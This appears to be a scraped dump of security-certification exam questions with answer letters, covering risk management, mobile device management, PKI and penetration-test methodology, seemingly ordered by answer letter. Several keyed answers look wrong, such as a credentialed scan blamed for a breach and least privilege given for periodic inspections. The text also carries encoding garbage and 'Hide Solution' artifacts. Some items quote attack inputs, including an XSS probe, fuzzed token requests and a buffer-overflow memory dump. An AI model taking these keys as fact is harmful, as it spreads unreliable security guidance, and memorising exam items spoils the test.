Several days after deploying an MDM for smartphone control, an organization began noticing anomalous behavior across the enterprise. Security analysts observed the following: ✑ Unauthorized certificate issuance ✑ Access to mutually authenticated resources utilizing valid but unauthorized certificates ✑ Granted access to internal resources via the SSL VPN To address the immediate problem, security analysts revoked the erroneous certificates. Which of the following describes the MOST likely root cause of the problem and offers a solution? A. The VPN and web resources are configured with too weak a cipher suite and should be rekeyed to support AES 256 in GCM and ECC for digital signatures and key exchange. B. A managed mobile device is rooted, exposing its keystore, and the MDM should be reconfigured to wipe these devices and disallow access to corporate resources. C. SCEP is configured insecurely, which should be enabled for device onboarding against a PKI for mobile-exclusive use. D. The CA is configured to sign any received CSR from mobile users and should be reconfigured to permit CSR signings only from domain administrators.

B

Several recent ransomware outbreaks at a company have cost a significant amount of lost revenue. The security team needs to find a technical control mechanism that will meet the following requirements and aid in preventing these outbreaks: ✑ Stop malicious software that does not match a signature ✑ Report on instances of suspicious behavior ✑ Protect from previously unknown threats -Augment existing security capabilities Which of the following tools would BEST meet these requirements? A. Host-based firewall B. EDR C. HIPS D. Patch management

B

Staff members are reporting an unusual number of device thefts associated with time out of the office. Thefts increased soon after the company deployed a new social networking application. Which of the following should the Chief Information Security Officer (CISO) recommend implementing? A. Automatic location check-ins B. Geolocated presence privacy C. Integrity controls D. NAC checks to quarantine devices

B

The Chief Executive Officer (CEO) of a small company decides to use cloud computing to host critical corporate data for protection from natural disasters. The recommended solution is to adopt the public cloud for its cost savings. If the CEO insists on adopting the public cloud model, which of the following would be the BEST advice? A. Ensure the cloud provider supports a secure virtual desktop infrastructure B. Ensure the colocation facility implements a robust DRP to help with business continuity planning C. Ensure the on-premises datacenter employs fault tolerance and load balancing capabilities D. Ensure the ISP is using a standard help-desk ticketing system to respond to any system outages

B

The Chief Financial Officer (CFO) of an organization wants the IT department to add the CFO's account to the domain administrator group. The IT department thinks this is risky and wants support from the security manager before proceeding. Which of the following BEST supports the argument against providing the CFO with domain administrator access? A. Discretionary access control B. Separation of duties C. Data classification D. Mandatory access control

B

The director of sales asked the development team for some small changes to increase the usability of an application used by the sales team. Prior security reviews of the code showed no significant vulnerabilities, and since the changes were small, they were given a peer review and then pushed to the live environment. Subsequent vulnerability scans now show numerous flaws that were not present in the previous versions of the code. Which of the following is an SDLC best practice that should have been followed? A. Versioning B. Regression testing C. Continuous integration D. Integration testing

B

The finance department has started to use a new payment system that requires strict PII security restrictions on various network devices. The company decides to enforce the restrictions and configure all devices appropriately. Which of the following risk response strategies is being used? A. Avoid B. Mitigate C. Transfer D. Accept

B

Users have been reporting unusual automated phone calls, including names and phone numbers, that appear to come from devices internal to the company. Which of the following should the systems administrator do to BEST address this problem? A. Add an ACL to the firewall to block VoIP. B. Change the settings on the phone system to use SIP-TLS. C. Have the phones download new configurations over TFTP. D. Enable QoS configuration on the phone VLAN.

B

When implementing a penetration testing program, the Chief Information Security Officer (CISO) designates different organizational groups within the organization as having different responsibilities, attack vectors, and rules of engagement. First, the CISO designates a team to operate from within the corporate environment. This team is commonly referred to as: A. the blue team. B. the white team. C. the operations team. D. the red team. E. the development team.

B

Which of the following may indicate a configuration item has reached end-of-life? A. The device will no longer turn on and indicated an error. B. The vendor has not published security patches recently. C. The object has been removed from the Active Directory. D. Logs show a performance degradation of the component.

B

While attending a meeting with the human resources department, an organization's information security officer sees an employee using a username and password written on a memo pad to log into a specific service. When the information security officer inquires further as to why passwords are being written down, the response is that there are too many passwords to remember for all the different services the human resources department is required to use. Additionally, each password has specific complexity requirements and different expiration time frames. Which of the following would be the BEST solution for the information security officer to recommend? A. Utilizing MFA B. Implementing SSO C. Deploying 802.1X D. Pushing SAML adoption E. Implementing TACACS

B

While conducting online research about a company to prepare for an upcoming penetration test, a security analyst discovers detailed financial information on an investor website the company did not make public. The analyst shares this information with the Chief Financial Officer (CFO), who confirms the information is accurate, as it was recently discussed at a board of directors meeting. Many of the details are verbatim discussion comments captured by the board secretary for purposes of transcription on a mobile device. Which of the following would MOST likely prevent a similar breach in the future? A. Remote wipe B. FDE C. Geolocation D. eFuse E. VPN

B

A company contracts a security consultant to perform a remote white-box penetration test. The company wants the consultant to focus on Internet-facing services without negatively impacting production services. Which of the following is the consultant MOST likely to use to identify the company's attack surface? (Choose two.) A. Web crawler B. WHOIS registry C. DNS records D. Companyג€™s firewall ACL E. Internal routing tables F. Directory service queries

BC

A penetration test is being scoped for a set of web services with API endpoints. The APIs will be hosted on existing web application servers. Some of the new APIs will be available to unauthenticated users, but some will only be available to authenticated users. Which of the following tools or activities would the penetration tester MOST likely use or do during the engagement? (Choose two.) A. Static code analyzer B. Intercepting proxy C. Port scanner D. Reverse engineering E. Reconnaissance gathering F. User acceptance testing

BC

A penetration testing manager is contributing to an RFP for the purchase of a new platform. The manager has provided the following requirements: ✑ Must be able to MITM web-based protocols ✑ Must be able to find common misconfigurations and security holes Which of the following types of testing should be included in the testing platform? (Choose two.) A. Reverse engineering tool B. HTTP intercepting proxy C. Vulnerability scanner D. File integrity monitor E. Password cracker F. Fuzzer

BC

A Chief Information Security Officer (CISO) has created a survey that will be distributed to managers of mission-critical functions across the organization. The survey requires the managers to determine how long their respective units can operate in the event of an extended IT outage before the organization suffers monetary losses from the outage. To which of the following is the survey question related? (Choose two.) A. Risk avoidance B. Business impact C. Risk assessment D. Recovery point objective E. Recovery time objective F. Mean time between failures

BD

A company that has been breached multiple times is looking to protect cardholder data. The previous undetected attacks all mimicked normal administrative-type behavior. The company must deploy a host solution to meet the following requirements: ✑ Detect administrative actions ✑ Block unwanted MD5 hashes✑ Provide alerts ✑ Stop exfiltration of cardholder data Which of the following solutions would BEST meet these requirements? (Choose two.) A. AV B. EDR C. HIDS D. DLP E. HIPS F. EFS

BD

A security administrator is reviewing the following output from an offline password audit: Username Password Crack Time User1 Teleportation1 4s User2 Amphitheater 2s User3 Undetermined4u. 10s Which of the following should the systems administrator implement to BEST address this audit finding? (Choose two.) A. Cryptoprocessor B. Bcrypt C. SHA-256 D. PBKDF2 E. Message authentication

BD

A security technician is incorporating the following requirements in an RFP for a new SIEM: ✑ New security notifications must be dynamically implemented by the SIEM engine ✑ The SIEM must be able to identify traffic baseline anomalies ✑ Anonymous attack data from all customers must augment attack detection and risk scoring Based on the above requirements, which of the following should the SIEM support? (Choose two.) A. Autoscaling search capability B. Machine learning C. Multisensor deployment D. Big Data analytics E. Cloud-based management F. Centralized log aggregation

BD

A software development company lost customers recently because of a large number of software issues. These issues were related to integrity and availability defects, including buffer overflows, pointer dereferences, and others. Which of the following should the company implement to improve code quality? (Choose two.) A. Development environment access controls B. Continuous integration C. Code comments and documentation D. Static analysis tools E. Application containerization F. Code obfuscation

BD

The audit team was only provided the physical and logical addresses of the network without any type of access credentials. Which of the following methods should the audit team use to gain initial access during the security assessment? (Choose two.) A. Tabletop exercise B. Social engineering C. Runtime debugging D. Reconnaissance E. Code review F. Remote access tool

BD

A school contracts with a vendor to devise a solution that will enable the school library to lend out tablet computers to students while on site. The tablets must adhere to string security and privacy practices. The school's key requirements are to: ✑ Maintain privacy of students in case of loss ✑ Have a theft detection control in place ✑ Be compliant with defined disability requirements ✑ Have a four-hour minimum battery life Which of the following should be configured to BEST meet the requirements? (Choose two.) A. Remote wiping B. Geofencing C. Antivirus software D. TPM E. FDE F. Tokenization

BE

An organization's network security administrator has been using an SSH connection to manage switches and routers for several years. After attempting to connect to a router, an alert appears on the terminal emulation software, warning that the SSH key has changed. After confirming the administrator is using the typical workstation and the router has not been replaced, which of the following are the MOST likely explanations for the warning message? (Choose two.) A. The SSH keys were given to another department. B. A MITM attack is being performed by an APT. C. The terminal emulator does not support SHA-256. D. An incorrect username or password was entered. E. A key rotation has occurred as a result of an incident. F. The workstation is not syncing with the correct NTP server.

BE

A new cluster of virtual servers has been set up in a lab environment and must be audited before being allowed on the production network. The security manager needs to ensure unnecessary services are disabled and all system accounts are using strong credentials. Which of the following tools should be used? (Choose two.) A. Fuzzer B. SCAP scanner C. Packet analyzer D. Password cracker E. Network enumerator F. SIEM

BF

A recent overview of the network's security and storage applications reveals a large amount of data that needs to be isolated for security reasons. Below are the critical applications and devices configured on the network: ✑ Firewall ✑ Core switches ✑ RM server ✑ Virtual environment ✑ NAC solution The security manager also wants data from all critical applications to be aggregated to correlate events from multiple sources. Which of the following must be configured in certain applications to help ensure data aggregation and data isolation are implemented on the critical applications and devices? (Choose two.) A. Routing tables B. Log forwarding C. Data remanants D. Port aggregation E. NIC teaming F. Zones Hide Solution

BF

An organization is currently working with a client to migrate data between a legacy ERP system and a cloud-based ERP tool using a global PaaS provider. As part of the engagement, the organization is performing data deduplication and sanitization of client data to ensure compliance with regulatory requirements. Which of the following is the MOST likely reason for the need to sanitize the client data? (Choose two.) A. Data aggregation B. Data sovereignty C. Data isolation D. Data volume E. Data analytics F. Data precision

BF

A security administrator wants to implement controls to harden company-owned mobile devices. Company policy specifies the following requirements: ✑ Mandatory access control must be enforced by the OS. ✑ Devices must only use the mobile carrier data transport. Which of the following controls should the security administrator implement? (Choose three.) A. Enable DLP B. Enable SEAndroid C. Enable EDR D. Enable secure boot E. Enable remote wipe F. Disable Bluetooth G. Disable 802.11 H. Disable geotagging

BFG

A company has completed the implementation of technical and management controls as required by its adopted security policies and standards. The implementation took two years and consumed all the budget approved to security projects. The board has denied any further requests for additional budget. Which of the following should the company do to address the residual risk? A. Transfer the risk B. Baseline the risk C. Accept the risk D. Remove the risk

C

A company relies on an ICS to perform equipment monitoring functions that are federally mandated for operation of the facility. Fines for non-compliance could be costly. The ICS has known vulnerabilities and can no longer be patched or updated. Cyber-liability insurance cannot be obtained because insurance companies will not insure this equipment. Which of the following would be the BEST option to manage this risk to the company's production environment? A. Avoid the risk by removing the ICS from production B. Transfer the risk associated with the ICS vulnerabilities C. Mitigate the risk by restricting access to the ICS D. Accept the risk and upgrade the ICS when possible

C

A company uses an enterprise desktop imaging solution to manage deployment of its desktop computers. Desktop computer users are only permitted to use software that is part of the baseline image. Which of the following technical solutions was MOST likely deployed by the company to ensure only known-good software can be installed on corporate desktops? A. Network access control B. Configuration Manager C. Application whitelisting D. File integrity checks

C

A company wants to secure a newly developed application that is used to access sensitive information and data from corporate resources. The application was developed by a third-party organization, and it is now being used heavily, despite lacking the following controls: ✑ Certificate pinning ✑ Tokenization ✑ Biometric authentication The company has already implemented the following controls: ✑ Full device encryption ✑ Screen lock ✑ Device password ✑ Remote wipe The company wants to defend against interception of data attacks. Which of the following compensating controls should the company implement NEXT? A. Enforce the use of a VPN when using the newly developed application B. Implement a geofencing solution that disables the application according to company requirements C. Implement an out-of-band second factor to authenticate authorized users D. Install the application in a secure container requiring additional authentication controls

C

A consulting firm was hired to conduct assessment for a company. During the first stage, a penetration tester used a tool that provided the following output: TCP 80 open - TCP 443 open - TCP 1434 filtered - The penetration tester then used a different tool to make the following requests: GET / script/login.php?token=45$MHT000MND876 GET / script/login.php?token=@#984DCSPQ%091DF Which of the following tools did the penetration tester use? A. Protocol analyzer B. Port scanner C. Fuzzer D. Brute forcer E. Log analyzer F. HTTP interceptor

C

A developer is reviewing the following transaction logs from a web application: Username: John Doe - Street name: Main St. Street number: script alert('test')<alert> Which of the following code snippets should the developer implement given the above transaction logs? A. if ($input != strcmp($var1, ג€<>ג€)) {die();} B. <form name ="form1" action="/submit.php" onsubmit="return validate()" action=POST> C. $input=strip_tags(trim($_POST['var1'])); D. <html><form name="myform" action="www.server.com/php/submit.php action=GET" Hide Solution

C

A development team releases updates to an application regularly. The application is compiled with several standard, open-source security products that require a minimum version for compatibility. During the security review portion of the development cycle, which of the following should be done to minimize possible application vulnerabilities? A. The developers should require an exact version of the open-source security products, preventing the introduction of new vulnerabilities. B. The application development team should move to an Agile development approach to identify security concerns faster. C. The change logs for the third-party libraries should be reviewed for security patches, which may need to be included in the release D. The application should eliminate the use of open-source libraries and products to prevent known vulnerabilities from being included

C

A financial institution would like to store its customer data in a cloud but still allow the data to be accessed and manipulated while encrypted. Doing so would prevent the cloud service provider from being able to decipher the data due to its sensitivity. The financial institution is not concerned about computational overheads and slow speeds. Which of the following cryptographic techniques would BEST meet the requirement? A. Asymmetric B. Symmetric C. Homomorphic D. Ephemeral

C

A forensic analyst suspects that a buffer overflow exists in a kernel module. The analyst executes the following command: dd if=/dev/ram of=/tmp/mem/dmp The analyst then reviews the associated output: ^34^#AAAAAAAAAAAAAAAAAAAAAA/bin/bash^21^03#45 However, the analyst is unable to find any evidence of the running shell. Which of the following of the MOST likely reason the analyst cannot find a process ID for the shell? A. The NX bit is enabled B. The system uses ASLR C. The shell is obfuscated D. The code uses dynamic libraries

C

A hospital is using a functional magnetic resonance imaging (fMRI) scanner, which is controlled by a legacy desktop connected to the network. The manufacturer of the fMRI will not support patching of the legacy system. The legacy desktop needs to be network accessible on TCP port 445. A security administrator is concerned the legacy system will be vulnerable to exploits. Which of the following would be the BEST strategy to reduce the risk of an outage while still providing for security? A. Install HIDS and disable unused services B. Enable application whitelisting and disable SMB C. Segment the network and configure a controlled interface D. Apply only critical security patches for known vulnerabilities

C

A laptop is recovered a few days after it was stolen. Which of the following should be verified during incident response activities to determine the possible impact of the incident? A. Full disk encryption status B. TPM PCR values C. File system integrity D. Presence of UEFI vulnerabilities

C

A managed service provider is designing a log aggregation service for customers who no longer want to manage an internal SIEM infrastructure. The provider expects that customers will send all types of logs to them, and that log files could contain very sensitive entries. Customers have indicated they want on-premises and cloud-based infrastructure logs to be stored in this new service. An engineer, who is designing the new service, is deciding how to segment customers. Which of the following is the BEST statement for the engineer to take into consideration? A. Single-tenancy is often more expensive and has less efficient resource utilization. Multitenancy may increase the risk of cross-customer exposure in the event of service vulnerabilities. B. The managed service provider should outsource security of the platform to an existing cloud company. This will allow the new log service to be launched faster and with well-tested security controls. C. Due to the likelihood of large log volumes, the service provider should use a multitenancy model for the data storage tier, enable data deduplication for storage cost efficiencies, and encrypt data at rest. D. The most secure design approach would be to give customers on-premises appliances, install agents on endpoints, and then remotely manage the service via a VPN.

C

A recent penetration test identified that a web server has a major vulnerability. The web server hosts a critical shipping application for the company and requires 99.99% availability. Attempts to fix the vulnerability would likely break the application. The shipping application is due to be replaced in the next three months. Which of the following would BEST secure the web server until the replacement web server is ready? A. Patch management B. Antivirus C. Application firewall D. Spam filters E. HIDS

C

A recent security assessment revealed a web application may be vulnerable to clickjacking. According to the application developers, a fix may be months away. Which of the following should a security engineer configure on the web server to help mitigate the issue? A. File upload size limits B. HttpOnly cookie field C. X-Frame-Options header D. Input validation

C

A regional business is expecting a severe winter storm next week. The IT staff has been reviewing corporate policies on how to handle various situations and found some are missing or incomplete. After reporting this gap in documentation to the information security manager, a document is immediately drafted to move various personnel to other locations to avoid downtime in operations. This is an example of: A. a disaster recovery plan B. an incident response plan C. a business continuity plan D. a risk avoidance plan Hide Solution

C

A regional transportation and logistics company recently hired its first Chief Information Security Officer (CISO). The CISO's first project after onboarding involved performing a vulnerability assessment against the company's public facing network. The completed scan found a legacy collaboration platform application with a critically rated vulnerability. While discussing this issue with the line of business, the CISO learns the vulnerable application cannot be updated without the company incurring significant losses due to downtime or new software purchases. Which of the following BEST addresses these concerns? A. The company should plan future maintenance windows such legacy application can be updated as needed. B. The CISO must accept the risk of the legacy application, as the cost of replacing the application greatly exceeds the risk to the company. C. The company should implement a WAF in front of the vulnerable application to filter out any traffic attempting to exploit the vulnerability. D. The company should build a parallel system and perform a cutover from the old application to the new application, with less downtime than an upgrade.

C

A secure facility has a server room that currently is controlled by a simple lock and key, and several administrators have copies of the key. To maintain regulatory compliance, a second lock, which is controlled by an application on the administrators' smartphones, is purchased and installed. The application has various authentication methods that can be used. The criteria for choosing the most appropriate method are: ✑ It cannot be invasive to the end user. ✑ It must be utilized as a second factor. ✑ Information sharing must be avoided. ✑ It must have a low false acceptance rate. Which of the following BEST meets the criteria? A. Facial recognition B. Swipe pattern C. Fingerprint scanning D. Complex passcode E. Token card

C

A security administrator is advocating for enforcement of a new policy that would require employers with privileged access accounts to undergo periodic inspections and review of certain job performance data. To which of the following policies is the security administrator MOST likely referring? A. Background investigation B. Mandatory vacation C. Least privilege D. Separation of duties

C

A security analyst is reviewing the following company requirements prior to selecting the appropriate technical control configuration and parameter: RTO: 2 days - RPO: 36 hours - MTTR: 24 hours - MTBF: 60 days - Which of the following solutions will address the RPO requirements? A. Remote Syslog facility collecting real-time events B. Server farm behind a load balancer delivering five-nines uptime C. Backup solution that implements daily snapshots D. Cloud environment distributed across geographic regions

C

A security analyst, who is working in a Windows environment, has noticed a significant amount of IPv6 traffic originating from a client, even though IPv6 is not currently in use. The client is a stand-alone device, not connected to the AD that manages a series of SCADA devices used for manufacturing. Which of the following is the appropriate command to disable the client's IPv6 stack? A. C:\>netsh ipsec static set policy name=MYIPPolicy /v Disable TCPIP6 B. C:\>reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\IPV6" /v disallowRun /t REG_DWORD /d"0000001" /f C. C:\>reg add HKLM\system\CurrentControlSet\services\TCPIP6\Parameters /v DisabledComponents /t REG_DWORD /d 255 /f D. C:\>reg add 'HKLM\SYSTEM\CurrentControlSet\IPV6" /f /v fDenyIPV6Connections /t

C

A security assessor is working with an organization to review the policies and procedures associated with managing the organization's virtual infrastructure. During a review of the virtual environment, the assessor determines the organization is using servers to provide more than one primary function, which violates a regulatory requirement. The assessor reviews hardening guides and determines policy allows for this configuration. It would be MOST appropriate for the assessor to advise the organization to: A. segment dual-purpose systems on a hardened network segment with no external access B. assess the risks associated with accepting non-compliance with regulatory requirements C. update system implementation procedures to comply with regulations D. review regulatory requirements and implement new policies on any newly provisioned servers

C

A security consultant is conducting a penetration test against a customer enterprise that comprises local hosts and cloud-based servers. The hosting service employs a multitenancy model with elastic provisioning to meet customer demand. The customer runs multiple virtualized servers on each provisioned cloud host.The security consultant is able to obtain multiple sets of administrator credentials without penetrating the customer network. Which of the following is the MOST likely risk the tester exploited? A. Data-at-rest encryption misconfiguration and repeated key usage B. Offline attacks against the cloud security broker service C. The ability to scrape data remnants in a multitenancy environment D. VM escape attacks against the customer network hypervisors

C

A security consultant is performing a penetration test on www.comptia.org and wants to discover the DNS administrator's email address to use in a later social engineering attack. The information listed with the DNS registrar is private. Which of the following commands will also disclose the email address? A. dig -h comptia.org B. whois -f comptia.org C. nslookup -type=SOA comptia.org D. dnsrecon -i comptia.org -t hostmaster

C

A security consultant was hired to audit a company's password are account policy. The company implements the following controls: ✑ Minimum password length: 16 ✑ Maximum password age: 0 ✑ Minimum password age: 0 ✑ Password complexity: disabled ✑ Store passwords in plain text: disabled ✑ Failed attempts lockout: 3 ✑ Lockout timeout: 1 hour The password database uses salted hashes and PBKDF2. Which of the following is MOST likely to yield the greatest number of plain text passwords in the shortest amount of time? A. Offline hybrid dictionary attack B. Offline brute-force attack C. Online hybrid dictionary password spraying attack D. Rainbow table attack E. Online brute-force attack F. Pass-the-hash attack

C

A security engineer is assisting a developer with input validation, and they are studying the following code block: string accountIdRegexp = "TODO, help!"; private static final Pattern accountIdPattern = Pattern.compile ("accountIdRegexp"); String accountId = request.getParameter("accountNumber"); if (!accountIdPattern.matcher(accountId).matches() { System.out.println("account ID format incorrect"); } else { //continue } The security engineer wants to ensure strong input validation is in place for customer-provided account identifiers. These identifiers are ten-digit numbers. The developer wants to ensure input validation is fast because a large number of people use the system. Which of the following would be the BEST advice for the security engineer to give to the developer? A. Replace code with Java-based type checks B. Parse input into an array C. Use regular expressions D. Canonicalize input into string objects before validation

C

A security engineer is embedded with a development team to ensure security is built into products being developed. The security engineer wants to ensure developers are not blocked by a large number of security requirements applied at specific schedule points. Which of the following solutions BEST meets the engineer's goal? A. Schedule weekly reviews of al unit test results with the entire development team and follow up between meetings with surprise code inspections. B. Develop and implement a set of automated security tests to be installed on each development team leader's workstation. C. Enforce code quality and reuse standards into the requirements definition phase of the waterfall development process. D. Deploy an integrated software tool that builds and tests each portion of code committed by developers and provides feedback.

C

A security engineer is employed by a hospital that was recently purchased by a corporation. Throughout the acquisition process, all data on the virtualized file servers must be shared by departments within both organizations. The security engineer considers data ownership to determine: A. the amount of data to be moved. B. the frequency of data backups. C. which users will have access to which data D. when the file server will be decommissioned

C

A security engineer is investigating a compromise that occurred between two internal computers. The engineer has determined during the investigation that one computer infected another. While reviewing the IDS logs, the engineer can view the outbound callback traffic, but sees no traffic between the two computers. Which of the following would BEST address the IDS visibility gap? A. Install network taps at the edge of the network. B. Send syslog from the IDS into the SIEM. C. Install HIDS on each computer. D. SPAN traffic form the network core into the IDS.

C

A system owner has requested support from data owners to evaluate options for the disposal of equipment containing sensitive data. Regulatory requirements state the data must be rendered unrecoverable via logical means or physically destroyed. Which of the following factors is the regulation intended to address? A. Sovereignty B. E-waste C. Remanence D. Deduplication

C

A systems administrator recently conducted a vulnerability scan of the intranet. Subsequently, the organization was successfully attacked by an adversary. Which of the following is the MOST likely explanation for why the organization's network was compromised? A. There was a false positive since the network was fully patched B. The systems administrator did not perform a full system scan C. The systems administrator performed a credentialed scan D. The vulnerability database was not updated

C

A systems analyst is concerned that the current authentication system may not provide the appropriate level of security. The company has integrated WAYF within its federation system and implemented a mandatory two-step authentication system. Some accounts are still becoming compromised via phishing attacks that redirect users to a fake portal, which is automatically collecting and replaying the stolen credentials. Which of the following is a technical solution that would BEST reduce the risk of similar compromises? A. Security awareness training B. Push-based authentication C. Software-based TOTP D. OAuth tokens E. Shibboleth

C

A technician is validating compliance with organizational policies. The user and machine accounts in the AD are not set to expire, which is non-compliant. Which of the following network tools would provide this type of information? A. SIEM server B. IDS appliance C. SCAP scanner D. HTTP interceptor

C

A user asks a security practitioner for recommendations on securing a home network. The user recently purchased a connected home assistant and multiple IoT devices in an effort to automate the home. Some of the IoT devices are wearables, and other are installed in the user's automobiles. The current home network is configured as a single flat network behind an ISP-supplied router. The router has a single IP address, and the router performs NAT on incoming traffic to route it to individual devices. Which of the following security controls would address the user's privacy concerns and provide the BEST level of security for the home network? A. Ensure all IoT devices are configured in a geofencing mode so the devices do not work when removed from the home network. Disable the home assistant unless actively using it, and segment the network so each IoT device has its own segment. B. Install a firewall capable of cryptographically separating network traffic, require strong authentication to access all IoT devices, and restrict network access for the home assistant based on time-of-day restrictions. C. Segment the home network to separate network traffic from users and the IoT devices, ensure security settings on the home assistant support no or limited recording capability, and install firewall rules on the router to restrict traffic to the home assistant as much as possible. D. Change all default passwords on the IoT devices, disable Internet access for the IoT devices and the home assistant, obtain routable IP addresses for all devices, and implement IPv6 and IPSec protections on all network traffic.

C

After a large organization has completed the acquisition of a smaller company, the smaller company must implement new host-based security controls to connect its employees' devices to the network. Given that the network requires 802.1X EAP-PEAP to identify and authenticate devices, which of the following should the security administrator do to integrate the new employees' devices into the network securely? A. Distribute a NAC client and use the client to push the company's private key to all the new devices. B. Distribute the device connection policy and a unique public/private key pair to each new employee's device. C. Install a self-signed SSL certificate on the company's RADIUS server and distribute the certificate's public key to all new client devices. D. Install an 802.1X supplicant on all new devices and let each device generate a self-signed certificate to use for network access.

C

After an employee was terminated, the company discovered the employee still had access to emails and attached content that should have been destroyed during the off-boarding. The employee's laptop and cell phone were confiscated and accounts were disabled promptly. Forensic investigation suggests the company's DLP was effective, and the content in question was not sent outside of work or transferred to removable media. Personality owned devices are not permitted to access company systems or information. Which of the following would be the MOST efficient control to prevent this from occurring in the future? A. Install application whitelist on mobile devices. B. Disallow side loading of applications on mobile devices. C. Restrict access to company systems to expected times of day and geographic locations. D. Prevent backup of mobile devices to personally owned computers. E. Perform unannounced insider threat testing on high-risk employees.

C

An attacker has been compromising banking institution targets across a regional area. The Chief Information Security Officer (CISO) at a local bank wants to detect and prevent an attack before the bank becomes a victim. Which of the following actions should the CISO take? A. Utilize cloud-based threat analytics to identify anomalous behavior in the company's B2B and vendor traffic B. Purchase a CASB solution to identify and control access to cloud-based applications and services and integrate them with on-premises legacy security monitoring C. Instruct a security engineer to configure the IDS to consume threat intelligence feeds from an information-sharing association in the banking sector D. Attend and present at the regional banking association lobbying group meetings each month and facilitate a discussion on the topic

C

An electric car company hires an IT consulting company to improve the cybersecurity of its vehicles. Which of the following should achieve the BEST long-term result for the company? A. Designing and developing add-on security components for fielded vehicles B. Reviewing proposed designs and prototypes for cybersecurity vulnerabilities C. Performing a cyber risk assessment on production vehicles D. Reviewing and influencing requirements for an early development vehicle

C

An employee decides to log into an authorized system. The system does not prompt the employee for authentication prior to granting access to the console, and it cannot authenticate the network resources. Which of the following attack types can this lead to if it is not mitigated? A. Memory leak B. Race condition C. Smurf D. Resource exhaustion

C

An enterprise with global sites processes and exchanges highly sensitive information that is protected under several countries' arms trafficking laws. There is new information that malicious nation-state-sponsored activities are targeting the use of encryption between the geographically disparate sites. The organization currently employs ECDSA and ECDH with P-384, SHA-384, and AES-256-GCM on VPNs between sites. Which of the following techniques would MOST likely improve the resilience of the enterprise to attack on cryptographic implementation? A. Add a second-layer VPN from a different vendor between sites. B. Upgrade the cipher suite to use an authenticated AES mode of operation. C. Use a stronger elliptic curve cryptography algorithm. D. Implement an IDS with sensors inside (clear-text) and outside (cipher-text) of each tunnel between sites. E. Ensure cryptography modules are kept up to date from vendor supplying them.

C

An external red team is brought into an organization to perform a penetration test of a new network-based application. The organization deploying the network application wants the red team to act like remote, external attackers, and instructs the team to use a black-box approach. Which of the following is the BEST methodology for the red team to follow? A. Run a protocol analyzer to determine what traffic is flowing in and out of the server, and look for ways to alter the data stream that will result in information leakage or a system failure. B. Send out spear-phishing emails against users who are known to have access to the network-based application, so the red team can go on-site with valid credentials and use the software. C. Examine the application using a port scanner, then run a vulnerability scanner against open ports looking for known, exploitable weaknesses the application and related services may have. D. Ask for more details regarding the engagement using social engineering tactics in an attempt to get the organization to disclose more information about the network application to make attacks easier.

C

An internal staff member logs into an ERP platform and clicks on a record. The browser URL changes to: URL: http://192.168.0.100/ERP/accountId=5&action=SELECT Which of the following is the MOST likely vulnerability in this ERP platform? A. Brute forcing of account credentials B. Plain-text credentials transmitted over the Internet C. Insecure direct object reference D. SQL injection of ERP back end

C

An organization is concerned that its hosted web servers are not running the most updated version of software. Which of the following would work BEST to help identify potential vulnerabilities? A. hping3 -S comptia.org -p 80 B. nc -v comptia.org -p 80 C. nmap comptia.org -p 80 -sV D. nslookup -port=80 comptia.org

C

An organization is deploying IoT locks, sensors, and cameras, which operate over 802.11, to replace legacy building access control systems. These devices are capable of triggering physical access changes, including locking and unlocking doors and gates. Unfortunately, the devices have known vulnerabilities for which the vendor has yet to provide firmware updates. Which of the following would BEST mitigate this risk? A. Direct wire the IoT devices into physical switches and place them on an exclusive VLAN. B. Require sensors to sign all transmitted unlock control messages digitally. C. Associate the devices with an isolated wireless network configured for WPA2 and EAP-TLS. D. Implement an out-of-band monitoring solution to detect message injections and attempts.

C

An organization is engaged in international business operations and is required to comply with various legal frameworks. In addition to changes in legal frameworks, which of the following is a primary purpose of a compliance management program? A. Following new requirements that result from contractual obligations B. Answering requests from auditors that relate to e-discovery C. Responding to changes in regulatory requirements D. Developing organizational policies that relate to hiring and termination procedures

C

An organization is implementing a virtualized thin-client solution for normal user computing and access. During a review of the architecture, concerns were raised that an attacker could gain access to multiple user environments by simply gaining a foothold on a single one with malware. Which of the following reasons BEST explains this? A. Malware on one virtual environment could enable pivoting to others by leveraging vulnerabilities in the hypervisor. B. A worm on one virtual environment could spread to others by taking advantage of guest OS networking services vulnerabilities. C. One virtual environment may have one or more application-layer vulnerabilities, which could allow an attacker to escape that environment. D. Malware on one virtual user environment could be copied to all others by the attached network storage controller.

C

An organization wants to arm its cybersecurity defensive suite automatically with intelligence on zero-day threats shortly after they emerge. Acquiring tools and services that support which of the following data standards would BEST enable the organization to meet this objective? A. XCCDF B. OVAL C. STIX D. CWE E. CVE

C

Ann, a member of the finance department at a large corporation, has submitted a suspicious email she received to the information security team. The team was not expecting an email from Ann, and it contains a PDF file inside a ZIP compressed archive. The information security team is not sure which files were opened. A security team member uses an air-gapped PC to open the ZIP and PDF, and it appears to be a social engineering attempt to deliver an exploit. Which of the following would provide greater insight on the potential impact of this attempted attack? A. Run an antivirus scan on the finance PC. B. Use a protocol analyzer on the air-gapped PC. C. Perform reverse engineering on the document. D. Analyze network logs for unusual traffic. E. Run a baseline analyzer against the user's computer.

C

Ann, a retiring employee, cleaned out her desk. The next day, Ann's manager notices company equipment that was supposed to remain at her desk is now missing. Which of the following would reduce the risk of this occurring in the future? A. Regular auditing of the clean desk policy B. Employee awareness and training policies C. Proper employee separation procedures D. Implementation of an acceptable use policy

C

Company leadership believes employees are experiencing an increased number of cyber attacks; however, the metrics do not show this. Currently, the company uses ג€Number of successful phishing attacksג€ as a KRI, but it does not show an increase. Which of the following additional information should be the Chief Information Security Officer (CISO) include in the report? A. The ratio of phishing emails to non-phishing emails B. The number of phishing attacks per employee C. The number of unsuccessful phishing attacks D. The percent of successful phishing attacks

C

Designing a system in which only information that is essential for a particular job task is allowed to be viewed can be accomplished successfully by using: A. mandatory vacations B. job rotations C. role-based access control D. discretionary access E. separation of duties

C

Developers are working on a new feature to add to a social media platform. The new feature involves users uploading pictures of what they are currently doing. The data privacy officer (DPO) is concerned about various types of abuse that might occur due to this new feature. The DPO states the new feature cannot be released without addressing the physical safety concerns of the platform's users. Which of the following controls would BEST address the DPO's concerns? A. Increasing blocking options available to the uploader B. Adding a one-hour delay of all uploaded photos C. Removing all metadata in the uploaded photo file D. Not displaying to the public who uploaded the photo E. Forcing TLS for all connections on the platform

C

